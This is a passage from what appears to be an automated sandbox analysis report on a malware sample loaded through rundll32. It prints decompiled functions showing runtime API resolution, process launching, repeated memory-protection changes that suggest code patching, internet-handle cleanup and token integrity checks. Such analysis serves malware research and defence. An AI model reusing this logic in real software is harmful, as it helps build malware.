                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalSectionSleep$Close$ChangeDeleteFindFreeHandleNotification$AddressEnterEventExceptionHandlerHeapLeaveLocalModuleMutexProcReleaseRemoveResetVectoredVersion
                                            • String ID:
                                            • API String ID: 1259384122-0
                                            • Opcode ID: d2b789afe95db14e60fdb3db57526fd1d79848a7523ee58697637ec005a77783
                                            • Instruction ID: cc8522b33bd3745471dd567f6eafdd45bababe053eef27457cf1db65c6f14894
                                            • Opcode Fuzzy Hash: d2b789afe95db14e60fdb3db57526fd1d79848a7523ee58697637ec005a77783
                                            • Instruction Fuzzy Hash: C3413D31B26211ABDF20AF6DE89EB56BBA9FB40754B060027F60597390DFB1D850CB70
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB2384 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 109librarymemoryloaderCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 336 4ab2384-4ab23a7 call 4ab74e0 339 4ab23ad-4ab23c6 call 4ab799e call 5def936 336->339 340 4ab24b4-4ab24bb 336->340 344 4ab23cc-4ab23d3 339->344 345 4ab24a2-4ab24af call 4ab4c73 339->345 344->345 346 4ab23d9-4ab240b memset call 4ab50e8 344->346 345->340 350 4ab249b 346->350 351 4ab2411-4ab2435 GetModuleHandleA 346->351 350->345 355 4ab2437-4ab2457 call 4ab37e9 351->355 356 4ab2484 351->356 367 4ab2458 call 5de30fc 355->367 368 4ab2458 call 5dd16a1 355->368 369 4ab2458 call 5ddfe23 355->369 357 4ab248b-4ab2499 356->357 357->345 361 4ab245a-4ab2465 call 4ab37e9 364 4ab2479-4ab2482 361->364 365 4ab2467-4ab2477 FindCloseChangeNotification CloseHandle 361->365 364->357 365->357 367->361 368->361 369->361
                                            C-Code - Quality: 73%
                                            			E04AB2384(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E04AB74E0(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16); // executed
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E04AB799E( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x4aba300 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x4aba348; // 0xb6d5a8
					_t18 = _t47 + 0x4abb3e6; // 0x73797325
					_t68 = E04AB50E8(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x4aba348; // 0xb6d5a8
						_t19 = _t50 + 0x4abb747; // 0x5628cef
						_t20 = _t50 + 0x4abb0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E04AB37E9();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0); // executed
							_push(1);
							E04AB37E9();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								FindCloseChangeNotification(_v28); // executed
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x4aba2d8, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E04AB4C73(_t70);
				goto L12;
			}


















                                            0x04ab238c
                                            0x04ab238c
                                            0x04ab239b
                                            0x04ab23a2
                                            0x04ab23a7
                                            0x04ab24b4
                                            0x04ab24bb
                                            0x04ab24bb
                                            0x04ab23b6
                                            0x04ab23be
                                            0x04ab23c1
                                            0x04ab23c6
                                            0x04ab23db
                                            0x04ab23e1
                                            0x04ab23e2
                                            0x04ab23e5
                                            0x04ab23eb
                                            0x04ab23ee
                                            0x04ab23f3
                                            0x04ab23fb
                                            0x04ab2407
                                            0x04ab240b
                                            0x04ab249b
                                            0x04ab2411
                                            0x04ab2411
                                            0x04ab2416
                                            0x04ab241d
                                            0x04ab2431
                                            0x04ab2435
                                            0x04ab2484
                                            0x04ab2437
                                            0x04ab2438
                                            0x04ab243f
                                            0x04ab2458
                                            0x04ab245a
                                            0x04ab245e
                                            0x04ab2465
                                            0x04ab247f
                                            0x04ab2467
                                            0x04ab2470
                                            0x04ab2475
                                            0x04ab2475
                                            0x04ab2465
                                            0x04ab2493
                                            0x04ab2493
                                            0x04ab240b
                                            0x04ab24a2
                                            0x04ab24ab
                                            0x04ab24af
                                            0x00000000

                                            APIs
                                              • Part of subcall function 04AB74E0: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04AB23A0,?,?,?,?,00000000,00000000), ref: 04AB7505
                                              • Part of subcall function 04AB74E0: GetProcAddress.KERNEL32(00000000,7243775A), ref: 04AB7527
                                              • Part of subcall function 04AB74E0: GetProcAddress.KERNEL32(00000000,614D775A), ref: 04AB753D
                                              • Part of subcall function 04AB74E0: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04AB7553
                                              • Part of subcall function 04AB74E0: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04AB7569
                                              • Part of subcall function 04AB74E0: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04AB757F
                                            • memset.NTDLL ref: 04AB23EE
                                              • Part of subcall function 04AB50E8: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,04AB2407,73797325), ref: 04AB50F9
                                              • Part of subcall function 04AB50E8: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 04AB5113
                                            • GetModuleHandleA.KERNEL32(4E52454B,05628CEF,73797325), ref: 04AB2424
                                            • GetProcAddress.KERNEL32(00000000), ref: 04AB242B
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 04AB2493
                                              • Part of subcall function 04AB37E9: GetProcAddress.KERNEL32(36776F57,04AB3ECD), ref: 04AB3804
                                            • FindCloseChangeNotification.KERNEL32(00000000,00000001), ref: 04AB2470
                                            • CloseHandle.KERNEL32(?), ref: 04AB2475
                                            • GetLastError.KERNEL32(00000001), ref: 04AB2479
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ChangeErrorFindFreeHeapLastNotificationmemset
                                            • String ID: Uv$@MvNv
                                            • API String ID: 186216982-2123867127
                                            • Opcode ID: 08a6c85c52f0f160e51788aa327e6518df32b7842ccea38a32f1d8ce66ce1fef
                                            • Instruction ID: 79e7c56464c2874635ad452d4df2360f7e45d1fe4493fa349be1f1c2f869c1d5
                                            • Opcode Fuzzy Hash: 08a6c85c52f0f160e51788aa327e6518df32b7842ccea38a32f1d8ce66ce1fef
                                            • Instruction Fuzzy Hash: B03130B6900218AFEB10EFA4DD88EDEBBBCEB04304F104466E645A7522D775AD45DBE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEE376 Relevance: 15.1, APIs: 10, Instructions: 117memorystringCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 393 5dee376-5dee397 call 5df37a8 396 5dee39d-5dee39e 393->396 397 5dee479 393->397 398 5dee404-5dee40b 396->398 399 5dee3a0-5dee3a3 396->399 400 5dee47f-5dee48e VirtualProtect 397->400 401 5dee44c-5dee461 VirtualProtect 398->401 402 5dee40d-5dee414 398->402 403 5dee3a9 399->403 404 5dee4d0-5dee4dc call 5df37e3 399->404 405 5dee4ab-5dee4b1 GetLastError 400->405 406 5dee490-5dee4a6 VirtualProtect 400->406 401->400 409 5dee463-5dee477 401->409 402->401 408 5dee416-5dee422 402->408 410 5dee3af-5dee3b6 403->410 405->404 406->410 408->400 412 5dee424-5dee431 VirtualProtect 408->412 413 5dee448-5dee44a VirtualProtect 409->413 414 5dee3f8-5dee3ff 410->414 415 5dee3b8-5dee3bc 410->415 412->400 416 5dee433-5dee447 412->416 413->400 414->404 415->414 417 5dee3be-5dee3da lstrlen VirtualProtect 415->417 416->413 417->414 418 5dee3dc-5dee3f6 lstrcpy VirtualProtect 417->418 418->414
                                            APIs
                                            • lstrlen.KERNEL32(?,?,?,?,00000000,?,05DD17D3,?), ref: 05DEE3C4
                                            • VirtualProtect.KERNEL32(00000000,00000000,00000040,00000200,?,?,?,00000000,?,05DD17D3,?), ref: 05DEE3D6
                                            • lstrcpy.KERNEL32(00000000,?), ref: 05DEE3E5
                                            • VirtualProtect.KERNEL32(00000000,00000000,00000200,00000200,?,?,?,00000000,?,05DD17D3,?), ref: 05DEE3F6
                                            • VirtualProtect.KERNEL32(00000000,00000005,00000040,00000400,05DF5038,00000018,05DE2C60,?,?,?,00000000,?,05DD17D3,?,?), ref: 05DEE42D
                                            • VirtualProtect.KERNEL32(?,00000004,?,?,?,?,?,00000000,?,05DD17D3,?,?,?,00000000,00000000), ref: 05DEE448
                                            • VirtualProtect.KERNEL32(?,00000004,00000040,?,05DF5038,00000018,05DE2C60,?,?,?,00000000,?,05DD17D3,?,?,?), ref: 05DEE45D
                                            • VirtualProtect.KERNEL32(?,00000004,00000040,?,05DF5038,00000018,05DE2C60,?,?,?,00000000,?,05DD17D3,?,?,?), ref: 05DEE48A
                                            • VirtualProtect.KERNEL32(?,00000004,?,?,?,?,?,00000000,?,05DD17D3,?,?,?,00000000,00000000), ref: 05DEE4A4
                                            • GetLastError.KERNEL32(?,?,?,00000000,?,05DD17D3,?,?,?,00000000,00000000), ref: 05DEE4AB
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ProtectVirtual$ErrorLastlstrcpylstrlen
                                            • String ID:
                                            • API String ID: 3676034644-0
                                            • Opcode ID: 1037b0924e830169b4e5afaeb8c4593daadfc83d374c2f5aadf8f88649494cdc
                                            • Instruction ID: 498c83d755abaa2ed456775e5109702b3c5f8c11a2a4e911cb0e7c1d05d71779
                                            • Opcode Fuzzy Hash: 1037b0924e830169b4e5afaeb8c4593daadfc83d374c2f5aadf8f88649494cdc
                                            • Instruction Fuzzy Hash: DA4135B1900709EFDB21EF64CC45EABBBB9FF44350F058626E696A6690D734E805CF60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB15B9 Relevance: 12.1, APIs: 8, Instructions: 75networkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            C-Code - Quality: 93%
                                            			E04AB15B9(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t37;
				void* _t41;
				intOrPtr* _t45;

				_t41 = __edi;
				_t37 = __ebx;
				_t45 = __eax;
				_t16 =  *((intOrPtr*)(__eax + 0x20));
				if( *((intOrPtr*)(__eax + 0x20)) != 0) {
					E04AB3A6F(_t16, __ecx, 0xea60);
				}
				_t17 =  *(_t45 + 0x18);
				_push(_t37);
				_push(_t41);
				if(_t17 != 0) {
					InternetSetStatusCallback(_t17, 0);
					InternetCloseHandle( *(_t45 + 0x18)); // executed
				}
				_t18 =  *(_t45 + 0x14);
				if(_t18 != 0) {
					InternetSetStatusCallback(_t18, 0);
					InternetCloseHandle( *(_t45 + 0x14));
				}
				_t19 =  *(_t45 + 0x10);
				if(_t19 != 0) {
					InternetSetStatusCallback(_t19, 0);
					InternetCloseHandle( *(_t45 + 0x10));
				}
				_t20 =  *(_t45 + 0x1c);
				if(_t20 != 0) {
					FindCloseChangeNotification(_t20); // executed
				}
				_t21 =  *(_t45 + 0x20);
				if(_t21 != 0) {
					CloseHandle(_t21);
				}
				_t22 =  *((intOrPtr*)(_t45 + 8));
				if( *((intOrPtr*)(_t45 + 8)) != 0) {
					E04AB4C73(_t22);
					 *((intOrPtr*)(_t45 + 8)) = 0;
					 *((intOrPtr*)(_t45 + 0x30)) = 0;
				}
				_t23 =  *((intOrPtr*)(_t45 + 0xc));
				if( *((intOrPtr*)(_t45 + 0xc)) != 0) {
					E04AB4C73(_t23);
				}
				_t24 =  *_t45;
				if(_t24 != 0) {
					_t24 = E04AB4C73(_t24);
				}
				_t46 =  *((intOrPtr*)(_t45 + 4));
				if( *((intOrPtr*)(_t45 + 4)) != 0) {
					return E04AB4C73(_t46);
				}
				return _t24;
			}












                                            0x04ab15b9
                                            0x04ab15b9
                                            0x04ab15bb
                                            0x04ab15bd
                                            0x04ab15c4
                                            0x04ab15cb
                                            0x04ab15cb
                                            0x04ab15d0
                                            0x04ab15d3
                                            0x04ab15da
                                            0x04ab15e3
                                            0x04ab15e7
                                            0x04ab15ec
                                            0x04ab15ec
                                            0x04ab15ee
                                            0x04ab15f3
                                            0x04ab15f7
                                            0x04ab15fc
                                            0x04ab15fc
                                            0x04ab15fe
                                            0x04ab1603
                                            0x04ab1607
                                            0x04ab160c
                                            0x04ab160c
                                            0x04ab160e
                                            0x04ab1619
                                            0x04ab161c
                                            0x04ab161c
                                            0x04ab161e
                                            0x04ab1623
                                            0x04ab1626
                                            0x04ab1626
                                            0x04ab1628
                                            0x04ab162f
                                            0x04ab1632
                                            0x04ab1637
                                            0x04ab163a
                                            0x04ab163a
                                            0x04ab163d
                                            0x04ab1642
                                            0x04ab1645
                                            0x04ab1645
                                            0x04ab164a
                                            0x04ab164e
                                            0x04ab1651
                                            0x04ab1651
                                            0x04ab1656
                                            0x04ab165b
                                            0x00000000
                                            0x04ab165e
                                            0x04ab1665

                                            APIs
                                            • InternetSetStatusCallback.WININET(?,00000000), ref: 04AB15E7
                                            • InternetCloseHandle.WININET(?), ref: 04AB15EC
                                            • InternetSetStatusCallback.WININET(?,00000000), ref: 04AB15F7
                                            • InternetCloseHandle.WININET(?), ref: 04AB15FC
                                            • InternetSetStatusCallback.WININET(?,00000000), ref: 04AB1607
                                            • InternetCloseHandle.WININET(?), ref: 04AB160C
                                            • FindCloseChangeNotification.KERNEL32(?,00000000,00000102,?,?,04AB53E9,?,?,00000000,00000000,76F081D0), ref: 04AB161C
                                            • CloseHandle.KERNEL32(?,00000000,00000102,?,?,04AB53E9,?,?,00000000,00000000,76F081D0), ref: 04AB1626
                                              • Part of subcall function 04AB3A6F: WaitForMultipleObjects.KERNEL32(00000002,04AB7B35,00000000,04AB7B35,?,?,?,04AB7B35,0000EA60), ref: 04AB3A8A
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Internet$Close$Handle$CallbackStatus$ChangeFindMultipleNotificationObjectsWait
                                            • String ID:
                                            • API String ID: 2172891992-0
                                            • Opcode ID: 4fb3dc82218b416d1bc1bfcd781fbb0495c437762398cfe40a0f3183b1e7114a
                                            • Instruction ID: 3b57103eb5c9de0b01d02a52b7ad78332309a62c0ba426d25dec233ef72585bc
                                            • Opcode Fuzzy Hash: 4fb3dc82218b416d1bc1bfcd781fbb0495c437762398cfe40a0f3183b1e7114a
                                            • Instruction Fuzzy Hash: 55111F76600A485BC530AFAAED94C9BB7EEEF596843590D19E0C6D3522C734FC448AE4
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE7DF1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                              • Part of subcall function 05DDA0F2: VirtualProtect.KERNEL32(00000000,00000000,00000040,05DD1765,?,?,00000000,?,00000000,?,?,05DD1765,00000000,00000000), ref: 05DDA117
                                              • Part of subcall function 05DDA0F2: GetLastError.KERNEL32(?,00000000,?,00000000,?,?,05DD1765,00000000,00000000), ref: 05DDA11F
                                              • Part of subcall function 05DDA0F2: VirtualQuery.KERNEL32(00000000,?,0000001C,?,00000000,?,00000000,?,?,05DD1765,00000000,00000000), ref: 05DDA136
                                              • Part of subcall function 05DDA0F2: VirtualProtect.KERNEL32(00000000,00000000,-2C9B417C,05DD1765,?,00000000,?,00000000,?,?,05DD1765,00000000,00000000), ref: 05DDA15B
                                            • GetLastError.KERNEL32(00000000,00000004,?,00000000,?,00000000,?,05DF50A8,0000001C,05DEE844,00000002,00000000,00000001,?,?,?), ref: 05DE7F4C
                                              • Part of subcall function 05DE50C5: lstrlen.KERNEL32(?,?,?,?,05DD1765), ref: 05DE50FD
                                              • Part of subcall function 05DE50C5: lstrcpy.KERNEL32(00000000,?), ref: 05DE5114
                                              • Part of subcall function 05DE50C5: StrChrA.SHLWAPI(00000000,0000002E,?,?,05DD1765), ref: 05DE511D
                                              • Part of subcall function 05DE50C5: GetModuleHandleA.KERNEL32(00000000,?,?,05DD1765), ref: 05DE513B
                                            • VirtualProtect.KERNEL32(00000000,00000005,00000040,00000040,00000000,00000005,00000000,00000000,?,00000000,05DD1765,00000000,00000004,?,00000000,?), ref: 05DE7EC9
                                            • VirtualProtect.KERNEL32(?,00000004,?,?,00000000,05DD1765,00000000,00000004,?,00000000,?,00000000,?,05DF50A8,0000001C,05DEE844), ref: 05DE7EE4
                                            • RtlEnterCriticalSection.NTDLL(05DF9420), ref: 05DE7F09
                                            • RtlLeaveCriticalSection.NTDLL(05DF9420), ref: 05DE7F27
                                              • Part of subcall function 05DDA0F2: SetLastError.KERNEL32(?,?,00000000,?,00000000,?,?,05DD1765,00000000,00000000), ref: 05DDA164
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Virtual$Protect$ErrorLast$CriticalSection$EnterHandleLeaveModuleQuerylstrcpylstrlen
                                            • String ID:
                                            • API String ID: 899430048-3916222277
                                            • Opcode ID: ca82a4fd9508cdabda5cd2414e18f7b287166f2d9828885cc8545981f0ca0297
                                            • Instruction ID: a0ec54f9d71c22bd2d9e762b8fa7c6efa6b20949566df5e492591c26529811f4
                                            • Opcode Fuzzy Hash: ca82a4fd9508cdabda5cd2414e18f7b287166f2d9828885cc8545981f0ca0297
                                            • Instruction Fuzzy Hash: A3415E71900659EFDB15EF68D849AAEBBB4FF48310F01811AF915AB350D770E951CFA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE3D88 Relevance: 10.6, APIs: 7, Instructions: 110memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE44A5: GetProcAddress.KERNEL32(?,00000318), ref: 05DE44CA
                                              • Part of subcall function 05DE44A5: NtWow64QueryInformationProcess64.NTDLL(00000000,00000000,?,00000030,00000000), ref: 05DE44E6
                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 05DE3DC1
                                            • VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 05DE3EAC
                                              • Part of subcall function 05DE44A5: StrRChrA.SHLWAPI(00000018,00000000,0000005C,00000100,00000200), ref: 05DE4650
                                            • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,?,?), ref: 05DE3DF7
                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 05DE3E03
                                            • lstrcmpi.KERNEL32(?,00000000), ref: 05DE3E40
                                            • StrChrA.SHLWAPI(?,0000002E), ref: 05DE3E49
                                            • lstrcmpi.KERNEL32(?,00000000), ref: 05DE3E5B
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Virtual$AllocFreelstrcmpi$AddressInformationProcProcess64QueryWow64
                                            • String ID:
                                            • API String ID: 3901270786-0
                                            • Opcode ID: 72b48ec58cb2c66e23701ab89690b3a7e1478d49a2f728a83ee3a0bc43e9dddd
                                            • Instruction ID: 7e21a2c5863e7cfc068a78e54b0954c9c8a03eb95419192bfc271f7aa2e67ce4
                                            • Opcode Fuzzy Hash: 72b48ec58cb2c66e23701ab89690b3a7e1478d49a2f728a83ee3a0bc43e9dddd
                                            • Instruction Fuzzy Hash: 22318D71608701ABD721DF15CC44B3BBBE9FF88B54F000A1AF88967280D770E944CBA6
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE8F9E Relevance: 10.6, APIs: 7, Instructions: 84sleepthreadCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DECC5D: memset.NTDLL ref: 05DECC67
                                            • OpenEventA.KERNEL32(00000002,00000000,05DF9314,?,00000000,00000000,?,05DE6085,?,?,?,?,?,?,?,05DDBF69), ref: 05DE9038
                                            • SetEvent.KERNEL32(00000000,?,05DE6085,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE9045
                                            • Sleep.KERNEL32(00000BB8,?,05DE6085,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE9050
                                            • ResetEvent.KERNEL32(00000000,?,05DE6085,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE9057
                                            • CloseHandle.KERNEL32(00000000,?,05DE6085,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE905E
                                            • GetShellWindow.USER32 ref: 05DE9069
                                            • GetWindowThreadProcessId.USER32(00000000), ref: 05DE9070
                                              • Part of subcall function 05DD50FB: RegCloseKey.ADVAPI32(?,?,?), ref: 05DD517E
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Event$CloseWindow$HandleOpenProcessResetShellSleepThreadmemset
                                            • String ID:
                                            • API String ID: 53838381-0
                                            • Opcode ID: ead70bc6c1b3b01f1c89b44fd3035927c8e751cc9f909097bfa60b5fcd3c7746
                                            • Instruction ID: e5e33613f69a7c1595a2327e1a001c34a0b78bec193d4ac28bb1fc4a721336db
                                            • Opcode Fuzzy Hash: ead70bc6c1b3b01f1c89b44fd3035927c8e751cc9f909097bfa60b5fcd3c7746
                                            • Instruction Fuzzy Hash: AE217132715210BBC62177AAAC5EF6B7FADEBC9A60B514407F60A97340DF3198818771
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB7628 Relevance: 10.6, APIs: 7, Instructions: 75COMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB7628(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x4aba2fc > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E04AB4DF6(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E04AB4C73(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}









                                            0x04ab7635
                                            0x04ab763c
                                            0x04ab7643
                                            0x04ab7657
                                            0x04ab7662
                                            0x04ab767a
                                            0x04ab7687
                                            0x04ab768a
                                            0x04ab768f
                                            0x04ab769a
                                            0x04ab769e
                                            0x04ab76ad
                                            0x04ab76b1
                                            0x04ab76cd
                                            0x04ab76cd
                                            0x04ab76d1
                                            0x04ab76d1
                                            0x04ab76d6
                                            0x04ab76da
                                            0x04ab76e0
                                            0x04ab76e1
                                            0x04ab76e8
                                            0x04ab76ee

                                            APIs
                                            • OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 04AB765A
                                            • GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 04AB767A
                                            • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 04AB768A
                                            • CloseHandle.KERNEL32(00000000), ref: 04AB76DA
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 04AB76AD
                                            • GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 04AB76B5
                                            • GetSidSubAuthority.ADVAPI32(00000000,?), ref: 04AB76C5
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
                                            • String ID:
                                            • API String ID: 1295030180-0
                                            • Opcode ID: ac8f769b0e7c385ba0c58a5a1381c1fe1d2302e9246caeb99f1d9e30881b094d
                                            • Instruction ID: bea4cc801de14398daba7dfda865798b76baab213012af8fb810c608b5cecc13
                                            • Opcode Fuzzy Hash: ac8f769b0e7c385ba0c58a5a1381c1fe1d2302e9246caeb99f1d9e30881b094d
                                            • Instruction Fuzzy Hash: DB215C75900209FFEB00EF94CD84EEEBB7DEB48304F0000A5E950A6162C7755E55EFA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB3739 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68stringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 64%
                                            			E04AB3739(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x4aba348; // 0xb6d5a8
				_t1 = _t9 + 0x4abb62c; // 0x253d7325
				_t36 = 0;
				_t28 = E04AB403D(__ecx, _t1);
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
					_v8 = _t13;
					_t40 = E04AB4DF6(_v8 +  *_t39(_a4) + 1);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E04AB723B(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E04AB4C73(_t40);
						_t42 = E04AB20D2(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
